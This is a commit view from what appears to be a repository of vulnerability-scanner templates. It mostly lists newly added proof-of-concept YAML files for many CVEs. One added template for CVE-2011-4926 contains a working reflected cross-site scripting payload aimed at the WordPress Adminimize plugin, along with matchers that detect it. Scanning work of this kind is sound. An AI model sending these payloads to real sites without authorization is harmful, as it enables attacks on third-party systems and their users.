20241125

adysec · Nov 25, 2024 · b6baf86 · b6baf86
1 parent c6fd6d8
commit b6baf86
Show file tree

Hide file tree

Showing 44 changed files with 1,630 additions and 1 deletion.
diff --git a/date.txt b/date.txt
@@ -1 +1 @@
-20241124
+20241125
diff --git a/poc.txt b/poc.txt
@@ -8918,6 +8918,7 @@
 ./poc/cve/CVE-2011-4803.yaml
 ./poc/cve/CVE-2011-4804.yaml
 ./poc/cve/CVE-2011-4926-1779d9229b83a1399466ae14361bbefb.yaml
+./poc/cve/CVE-2011-4926-2088.yaml
 ./poc/cve/CVE-2011-4926-2091.yaml
 ./poc/cve/CVE-2011-4926.yaml
 ./poc/cve/CVE-2011-4955-2c9bc7dc49f1d6049f053f437b9d7049.yaml
@@ -9142,6 +9143,7 @@
 ./poc/cve/CVE-2012-4272-be8ad5d2a33e00e145c6c6d44c6091d7.yaml
 ./poc/cve/CVE-2012-4272.yaml
 ./poc/cve/CVE-2012-4273-2194.yaml
+./poc/cve/CVE-2012-4273-2198.yaml
 ./poc/cve/CVE-2012-4273-60f2c9c88ca63cf1daa993ad4a08d418.yaml
 ./poc/cve/CVE-2012-4273.yaml
 ./poc/cve/CVE-2012-4283-24608d891088820adef824dd0016f4fe.yaml
@@ -9399,6 +9401,7 @@
 ./poc/cve/CVE-2013-2251-8.yaml
 ./poc/cve/CVE-2013-2251-9.yaml
 ./poc/cve/CVE-2013-2251.yaml
+./poc/cve/CVE-2013-2287-2243.yaml
 ./poc/cve/CVE-2013-2287-35fa1e30cd7c85480f6643f78205d60b.yaml
 ./poc/cve/CVE-2013-2287.yaml
 ./poc/cve/CVE-2013-2501-f5721b91d8780e1babce9661c23cb532.yaml
@@ -9946,6 +9949,7 @@
 ./poc/cve/CVE-2014-4548.yaml
 ./poc/cve/CVE-2014-4549-4415191f19cc09b59219e8dec440ebce.yaml
 ./poc/cve/CVE-2014-4549.yaml
+./poc/cve/CVE-2014-4550-2366.yaml
 ./poc/cve/CVE-2014-4550-7c5b0f3fc5ba45d02029313feb89dfd7.yaml
 ./poc/cve/CVE-2014-4550.yaml
 ./poc/cve/CVE-2014-4551-fd5903aa8b5d2c8b2e658051772058fb.yaml
@@ -9963,6 +9967,7 @@
 ./poc/cve/CVE-2014-4557-c1cd3dc0f8c7505011ebb9ea3d2cab3a.yaml
 ./poc/cve/CVE-2014-4557.yaml
 ./poc/cve/CVE-2014-4558-2369.yaml
+./poc/cve/CVE-2014-4558-2371.yaml
 ./poc/cve/CVE-2014-4558-b4acb8ab63209afc70dba18fa8c3e92f.yaml
 ./poc/cve/CVE-2014-4558.yaml
 ./poc/cve/CVE-2014-4559-9367e2b825cbd0bc30c4c1c6a5fee59b.yaml
@@ -10295,6 +10300,7 @@
 ./poc/cve/CVE-2014-8758.yaml
 ./poc/cve/CVE-2014-8799-2411.yaml
 ./poc/cve/CVE-2014-8799-2412.yaml
+./poc/cve/CVE-2014-8799-2414.yaml
 ./poc/cve/CVE-2014-8799-28679161182c43e15921a9681ad9e065.yaml
 ./poc/cve/CVE-2014-8799.yaml
 ./poc/cve/CVE-2014-8800-e90fc4b3eb188635877b57fa907cc509.yaml
@@ -10347,6 +10353,7 @@
 ./poc/cve/CVE-2014-9038.yaml
 ./poc/cve/CVE-2014-9039-e36ead55dcc8029f1208afc5fd967940.yaml
 ./poc/cve/CVE-2014-9039.yaml
+./poc/cve/CVE-2014-9094-2420.yaml
 ./poc/cve/CVE-2014-9094-33981699600bd7688fa76839ea64eb69.yaml
 ./poc/cve/CVE-2014-9094.yaml
 ./poc/cve/CVE-2014-9097-185f364a811c7ac717748c28afbba129.yaml
@@ -10450,6 +10457,7 @@
 ./poc/cve/CVE-2014-9442.yaml
 ./poc/cve/CVE-2014-9443-dce5b982688e425f6d11320686ce785d.yaml
 ./poc/cve/CVE-2014-9443.yaml
+./poc/cve/CVE-2014-9444-2424.yaml
 ./poc/cve/CVE-2014-9444-70756cf68124cd9397587d06f0bb1382.yaml
 ./poc/cve/CVE-2014-9444.yaml
 ./poc/cve/CVE-2014-9453-ac9a7b71996c85009b2a2944312fb316.yaml
@@ -10524,6 +10532,7 @@
 ./poc/cve/CVE-2015-1000010.yaml
 ./poc/cve/CVE-2015-1000011-6ef8738040302a74ae4f4262e6a4cba3.yaml
 ./poc/cve/CVE-2015-1000011.yaml
+./poc/cve/CVE-2015-1000012-2460.yaml
 ./poc/cve/CVE-2015-1000012-bd172eb0a5f5b4fee2b93533e1882477.yaml
 ./poc/cve/CVE-2015-1000012.yaml
 ./poc/cve/CVE-2015-1000013-c88ce724ce8bc15e25be894a573aacd0.yaml
@@ -10835,6 +10844,7 @@
 ./poc/cve/CVE-2015-4414-1b834b9e165140b4664cc5f2b49ee153.yaml
 ./poc/cve/CVE-2015-4414-2527.yaml
 ./poc/cve/CVE-2015-4414-2530.yaml
+./poc/cve/CVE-2015-4414-2532.yaml
 ./poc/cve/CVE-2015-4414.yaml
 ./poc/cve/CVE-2015-4455-7d9a49758ec4a0e1bba306ea632621c1.yaml
 ./poc/cve/CVE-2015-4455.yaml
@@ -10875,6 +10885,7 @@
 ./poc/cve/CVE-2015-5308.yaml
 ./poc/cve/CVE-2015-5354.yaml
 ./poc/cve/CVE-2015-5461-2555.yaml
+./poc/cve/CVE-2015-5461-2556.yaml
 ./poc/cve/CVE-2015-5461-635af6cd7a9be34e7f0bba5b4ee195e3.yaml
 ./poc/cve/CVE-2015-5461.yaml
 ./poc/cve/CVE-2015-5468-01b19b33d509430527fe10d5febf823f.yaml
@@ -11401,6 +11412,7 @@
 ./poc/cve/CVE-2015-9477.yaml
 ./poc/cve/CVE-2015-9479-610c1b0820a34b426f46a24294b86cf7.yaml
 ./poc/cve/CVE-2015-9479.yaml
+./poc/cve/CVE-2015-9480-2630.yaml
 ./poc/cve/CVE-2015-9480-2632.yaml
 ./poc/cve/CVE-2015-9480-2633.yaml
 ./poc/cve/CVE-2015-9480-46b5d463ae28dd7308d897e49636d523.yaml
@@ -11566,6 +11578,7 @@
 ./poc/cve/CVE-2016-1000134-f4029376afda7fca93cc3ed29f8a800b.yaml
 ./poc/cve/CVE-2016-1000134.yaml
 ./poc/cve/CVE-2016-1000135-2683.yaml
+./poc/cve/CVE-2016-1000135-2684.yaml
 ./poc/cve/CVE-2016-1000135-2685.yaml
 ./poc/cve/CVE-2016-1000135-953ff551adbc4893b237af8ca2f3090a.yaml
 ./poc/cve/CVE-2016-1000135.yaml
@@ -11595,13 +11608,15 @@
 ./poc/cve/CVE-2016-1000145-193dc216a6cfc62aea217a5dbfd96a13.yaml
 ./poc/cve/CVE-2016-1000145.yaml
 ./poc/cve/CVE-2016-1000146-266572fbe2cd7d8682ed9b6914e1f37d.yaml
+./poc/cve/CVE-2016-1000146-2721.yaml
 ./poc/cve/CVE-2016-1000146.yaml
 ./poc/cve/CVE-2016-1000147-b5480a75c33424482b37a792f6029d2b.yaml
 ./poc/cve/CVE-2016-1000147.yaml
 ./poc/cve/CVE-2016-1000148-2722.yaml
 ./poc/cve/CVE-2016-1000148-b06fb90961e87acbee5aeb0d78acee1a.yaml
 ./poc/cve/CVE-2016-1000148.yaml
 ./poc/cve/CVE-2016-1000149-2727.yaml
+./poc/cve/CVE-2016-1000149-2728.yaml
 ./poc/cve/CVE-2016-1000149-c94391e68202ff41e65065899fd10200.yaml
 ./poc/cve/CVE-2016-1000149.yaml
 ./poc/cve/CVE-2016-1000150-39618c5c04a015f55cb99da607cb046a.yaml
@@ -12290,6 +12305,7 @@
 ./poc/cve/CVE-2017-16955-54b2c5bde330d2dc4614c1cb299f671b.yaml
 ./poc/cve/CVE-2017-16955.yaml
 ./poc/cve/CVE-2017-17043-08130ba3bd49cd34b98615982fe7f7a9.yaml
+./poc/cve/CVE-2017-17043-2975.yaml
 ./poc/cve/CVE-2017-17043.yaml
 ./poc/cve/CVE-2017-17058.yaml
 ./poc/cve/CVE-2017-17059-2980.yaml
@@ -12497,6 +12513,7 @@
 ./poc/cve/CVE-2017-18534.yaml
 ./poc/cve/CVE-2017-18535-a6694da2ffada233390e8f1c5eb8b4ec.yaml
 ./poc/cve/CVE-2017-18535.yaml
+./poc/cve/CVE-2017-18536-2993.yaml
 ./poc/cve/CVE-2017-18536-2995.yaml
 ./poc/cve/CVE-2017-18536-3cd05e19af62aad71cfdb87f03a9d489.yaml
 ./poc/cve/CVE-2017-18536.yaml
@@ -13237,6 +13254,7 @@
 ./poc/cve/CVE-2018-18019-b8803a49ed7728d2fbd8e6e96310ef1c.yaml
 ./poc/cve/CVE-2018-18019.yaml
 ./poc/cve/CVE-2018-18069-1a2e60d8b8511029783b8707140ec2ae.yaml
+./poc/cve/CVE-2018-18069-3426.yaml
 ./poc/cve/CVE-2018-18069.yaml
 ./poc/cve/CVE-2018-18264 (copy 2).yaml
 ./poc/cve/CVE-2018-18264.yaml
@@ -13452,6 +13470,7 @@
 ./poc/cve/CVE-2018-3714.yaml
 ./poc/cve/CVE-2018-3760 2.yaml
 ./poc/cve/CVE-2018-3760.yaml
+./poc/cve/CVE-2018-3810-3554.yaml
 ./poc/cve/CVE-2018-3810-3555.yaml
 ./poc/cve/CVE-2018-3810-6de071448d5adb9d4c6352281eb7005f.yaml
 ./poc/cve/CVE-2018-3810.yaml
@@ -13622,6 +13641,7 @@
 ./poc/cve/CVE-2018-7282.yaml
 ./poc/cve/CVE-2018-7314.yaml
 ./poc/cve/CVE-2018-7422-3594.yaml
+./poc/cve/CVE-2018-7422-3595.yaml
 ./poc/cve/CVE-2018-7422-364c9e725b8200c8eda6850a76fb8265.yaml
 ./poc/cve/CVE-2018-7422.yaml
 ./poc/cve/CVE-2018-7433-1b1397ee1b9bed1e6459522b55fb6873.yaml
@@ -13648,6 +13668,7 @@
 ./poc/cve/CVE-2018-8711-1c1be366dda4b16c419a1b2f488fef83.yaml
 ./poc/cve/CVE-2018-8711.yaml
 ./poc/cve/CVE-2018-8715.yaml
+./poc/cve/CVE-2018-8719-3640.yaml
 ./poc/cve/CVE-2018-8719-57c7d5d74ce266cc72c2eea523301fe2.yaml
 ./poc/cve/CVE-2018-8719.yaml
 ./poc/cve/CVE-2018-8727.yaml
@@ -13662,6 +13683,7 @@
 ./poc/cve/CVE-2018-9035-45611aeb7dd4380e1502ef5f2cbc7cd1.yaml
 ./poc/cve/CVE-2018-9035.yaml
 ./poc/cve/CVE-2018-9118-3651.yaml
+./poc/cve/CVE-2018-9118-3654.yaml
 ./poc/cve/CVE-2018-9118-814871eb95f10c4230a142de91514698.yaml
 ./poc/cve/CVE-2018-9118.yaml
 ./poc/cve/CVE-2018-9126 (copy 2).yaml
@@ -13885,6 +13907,7 @@
 ./poc/cve/CVE-2019-14467-6f88be84c47348e27dc9d2b4c038fb82.yaml
 ./poc/cve/CVE-2019-14467.yaml
 ./poc/cve/CVE-2019-14470-3851.yaml
+./poc/cve/CVE-2019-14470-3854.yaml
 ./poc/cve/CVE-2019-14470-3dc13a2b063ab16efc87bedddb70c896.yaml
 ./poc/cve/CVE-2019-14470.yaml
 ./poc/cve/CVE-2019-14530.yaml
@@ -14152,6 +14175,7 @@
 ./poc/cve/CVE-2019-15873-4b7862973219e898887e506d1d927ff2.yaml
 ./poc/cve/CVE-2019-15873.yaml
 ./poc/cve/CVE-2019-15889-3902.yaml
+./poc/cve/CVE-2019-15889-3905.yaml
 ./poc/cve/CVE-2019-15889-805609e33a2b16f4cfd3fb9e1254d2ee.yaml
 ./poc/cve/CVE-2019-15889.yaml
 ./poc/cve/CVE-2019-15895-39cd0e7acf87f597851594983c8694c9.yaml
@@ -14226,6 +14250,7 @@
 ./poc/cve/CVE-2019-16523.yaml
 ./poc/cve/CVE-2019-16524-84cb9e4e90c3852a6688ba8b5396f562.yaml
 ./poc/cve/CVE-2019-16524.yaml
+./poc/cve/CVE-2019-16525-3935.yaml
 ./poc/cve/CVE-2019-16525-3937.yaml
 ./poc/cve/CVE-2019-16525-5107e273cedaca507bc480c64fa321aa.yaml
 ./poc/cve/CVE-2019-16525.yaml
@@ -14579,6 +14604,7 @@
 ./poc/cve/CVE-2019-6340.yaml
 ./poc/cve/CVE-2019-6703-cfca9683c7d716d8ddd45ba519e7e7eb.yaml
 ./poc/cve/CVE-2019-6703.yaml
+./poc/cve/CVE-2019-6715-4184.yaml
 ./poc/cve/CVE-2019-6715-4188.yaml
 ./poc/cve/CVE-2019-6715-b175b5b29c7b5153a9a4b1d22998677b.yaml
 ./poc/cve/CVE-2019-6715.yaml
@@ -14895,6 +14921,7 @@
 ./poc/cve/CVE-2020-13693-9f6548e1a65edc92b22b1e7e4aeb85a1.yaml
 ./poc/cve/CVE-2020-13693.yaml
 ./poc/cve/CVE-2020-13700-4508.yaml
+./poc/cve/CVE-2020-13700-4510.yaml
 ./poc/cve/CVE-2020-13700-82316cdb4427a73e8b697e5d1cdfa14a.yaml
 ./poc/cve/CVE-2020-13700.yaml
 ./poc/cve/CVE-2020-13764-d4a7f0d1589667d32cbdcbb9bdf615de.yaml
@@ -15001,6 +15028,7 @@
 ./poc/cve/CVE-2020-16846.yaml
 ./poc/cve/CVE-2020-16920.yaml
 ./poc/cve/CVE-2020-16952.yaml
+./poc/cve/CVE-2020-17362-4655.yaml
 ./poc/cve/CVE-2020-17362-4659.yaml
 ./poc/cve/CVE-2020-17362-b8d1258d5e487d3809196efa7cebb656.yaml
 ./poc/cve/CVE-2020-17362.yaml
@@ -15111,6 +15139,7 @@
 ./poc/cve/CVE-2020-24148.yaml
 ./poc/cve/CVE-2020-24149-f17b476af9729c706149033214bc1201.yaml
 ./poc/cve/CVE-2020-24149.yaml
+./poc/cve/CVE-2020-24186-4794.yaml
 ./poc/cve/CVE-2020-24186-e802709dd363f61b6f07669be7eb580d.yaml
 ./poc/cve/CVE-2020-24186.yaml
 ./poc/cve/CVE-2020-24223 2.yaml
@@ -15284,6 +15313,7 @@
 ./poc/cve/CVE-2020-29304.yaml
 ./poc/cve/CVE-2020-29395-16ac2206026b33902232895de1707cd7.yaml
 ./poc/cve/CVE-2020-29395-5002.yaml
+./poc/cve/CVE-2020-29395-5006.yaml
 ./poc/cve/CVE-2020-29395.yaml
 ./poc/cve/CVE-2020-29453 (copy 1).yaml
 ./poc/cve/CVE-2020-29453-1.yaml
@@ -15817,6 +15847,7 @@
 ./poc/cve/CVE-2020-9019-f0f978cf1482283f87c7ef8acdd7c45e.yaml
 ./poc/cve/CVE-2020-9019.yaml
 ./poc/cve/CVE-2020-9036.yaml
+./poc/cve/CVE-2020-9043(1).yaml
 ./poc/cve/CVE-2020-9043-71853e1d2641cd1f7430c643c9db64bd.yaml
 ./poc/cve/CVE-2020-9043.yaml
 ./poc/cve/CVE-2020-9047.yaml
@@ -16174,6 +16205,7 @@
 ./poc/cve/CVE-2021-24209-a6ed914616e6d20250ae103154cdd5f3.yaml
 ./poc/cve/CVE-2021-24209.yaml
 ./poc/cve/CVE-2021-24210-3057223241f22f26c976b13abf36d9b1.yaml
+./poc/cve/CVE-2021-24210-5640.yaml
 ./poc/cve/CVE-2021-24210.yaml
 ./poc/cve/CVE-2021-24211-ed3d8c37e9725aabcf188699a130ab05.yaml
 ./poc/cve/CVE-2021-24211.yaml
@@ -16351,6 +16383,7 @@
 ./poc/cve/CVE-2021-24289.yaml
 ./poc/cve/CVE-2021-24290-e8fd43664cd0b029c9c174584ea48e8d.yaml
 ./poc/cve/CVE-2021-24290.yaml
+./poc/cve/CVE-2021-24291-5683.yaml
 ./poc/cve/CVE-2021-24291-eefec2c5385df5bdf65949b7b59e5ce1.yaml
 ./poc/cve/CVE-2021-24291.yaml
 ./poc/cve/CVE-2021-24292-9aed2fbe384cc85f25bd56e5ae692669.yaml
@@ -16404,6 +16437,7 @@
 ./poc/cve/CVE-2021-24315-47848231844c1b4bbef5562929c4aefc.yaml
 ./poc/cve/CVE-2021-24315.yaml
 ./poc/cve/CVE-2021-24316-2813a1d60b58f7217403cc4e686b51f8.yaml
+./poc/cve/CVE-2021-24316-5691.yaml
 ./poc/cve/CVE-2021-24316-d168751b238f28a1a68263abeb6f4c7a.yaml
 ./poc/cve/CVE-2021-24316.yaml
 ./poc/cve/CVE-2021-24317-dfd9bd55d8a4d4cc599169686f7f08ba.yaml
@@ -16553,6 +16587,7 @@
 ./poc/cve/CVE-2021-24386.yaml
 ./poc/cve/CVE-2021-24387-46cf78e6de50515d5a8ff1b6a59818c9.yaml
 ./poc/cve/CVE-2021-24387-5722.yaml
+./poc/cve/CVE-2021-24387-5724.yaml
 ./poc/cve/CVE-2021-24387.yaml
 ./poc/cve/CVE-2021-24388-14614859113ffb7afd9ac82859c04eb2.yaml
 ./poc/cve/CVE-2021-24388.yaml
@@ -16593,6 +16628,7 @@
 ./poc/cve/CVE-2021-24405-6c00b40f33737e8c3cb00795fd2348c7.yaml
 ./poc/cve/CVE-2021-24405.yaml
 ./poc/cve/CVE-2021-24406-5734.yaml
+./poc/cve/CVE-2021-24406-5736.yaml
 ./poc/cve/CVE-2021-24406-de317cf69ce111059aaeb0832a7f4981.yaml
 ./poc/cve/CVE-2021-24406.yaml
 ./poc/cve/CVE-2021-24407-21ab28420b696cd20235651481057cca.yaml
@@ -16751,6 +16787,7 @@
 ./poc/cve/CVE-2021-24486.yaml
 ./poc/cve/CVE-2021-24487-179b005e9af084eab7ca073477549619.yaml
 ./poc/cve/CVE-2021-24487.yaml
+./poc/cve/CVE-2021-24488(1).yaml
 ./poc/cve/CVE-2021-24488-75b39b08cbf876cfb9e54e815d6a31c8.yaml
 ./poc/cve/CVE-2021-24488.yaml
 ./poc/cve/CVE-2021-24489-5f15d3969b9b6929e23eb2161431da8d.yaml
@@ -17767,6 +17804,7 @@
 ./poc/cve/CVE-2021-24995.yaml
 ./poc/cve/CVE-2021-24996-4d762948c0db5f612fe71d57da2478b3.yaml
 ./poc/cve/CVE-2021-24996.yaml
+./poc/cve/CVE-2021-24997-5782.yaml
 ./poc/cve/CVE-2021-24997-aff35f57b7fc2809431dfbd3d3bb6272.yaml
 ./poc/cve/CVE-2021-24997.yaml
 ./poc/cve/CVE-2021-24998-6a0e16d4236b7def46eb49989ac48b25.yaml
@@ -17832,6 +17870,7 @@
 ./poc/cve/CVE-2021-25027.yaml
 ./poc/cve/CVE-2021-25028-5783.yaml
 ./poc/cve/CVE-2021-25028-5784.yaml
+./poc/cve/CVE-2021-25028-5787.yaml
 ./poc/cve/CVE-2021-25028-6a7346a0d71f3758c4e4d202e954f662.yaml
 ./poc/cve/CVE-2021-25028.yaml
 ./poc/cve/CVE-2021-25029-999aea7e010ac04d41f94a121a38cc3f.yaml
@@ -18657,6 +18696,7 @@
 ./poc/cve/CVE-2021-39311-014c83de95dae039463389351163fcd0.yaml
 ./poc/cve/CVE-2021-39311.yaml
 ./poc/cve/CVE-2021-39312-30532d01e391162b738127d965c72c50.yaml
+./poc/cve/CVE-2021-39312-6327.yaml
 ./poc/cve/CVE-2021-39312.yaml
 ./poc/cve/CVE-2021-39313-ca85c142f0fa3daec9e192abeaf739f6.yaml
 ./poc/cve/CVE-2021-39313.yaml
@@ -19505,6 +19545,7 @@
 ./poc/cve/CVE-2022-0649.yaml
 ./poc/cve/CVE-2022-0651-c9e40242ef33288cd1a708c183c7cada.yaml
 ./poc/cve/CVE-2022-0651.yaml
+./poc/cve/CVE-2022-0653-6638.yaml
 ./poc/cve/CVE-2022-0653-e0fe444c64b63bc8f08028392ceeb0d0.yaml
 ./poc/cve/CVE-2022-0653.yaml
 ./poc/cve/CVE-2022-0656-994a2cef063389fd91a0a80146d87f09.yaml
@@ -21042,6 +21083,7 @@
 ./poc/cve/CVE-2022-27848-6f237bcdcde0f1e74372ab90414040ae.yaml
 ./poc/cve/CVE-2022-27848.yaml
 ./poc/cve/CVE-2022-27849-506fab136540118868e933f9f2f59b67.yaml
+./poc/cve/CVE-2022-27849-6740.yaml
 ./poc/cve/CVE-2022-27849.yaml
 ./poc/cve/CVE-2022-27850-9949dde1f4f7636a2e09e262eec95ce4.yaml
 ./poc/cve/CVE-2022-27850.yaml

diff --git a/poc/cve/CVE-2011-4926-2088.yaml b/poc/cve/CVE-2011-4926-2088.yaml
@@ -0,0 +1,30 @@
+id: CVE-2011-4926
+
+info:
+  name: Adminimize 1.7.22 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2011-4926
+  tags: cve,cve2011,wordpress,xss,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200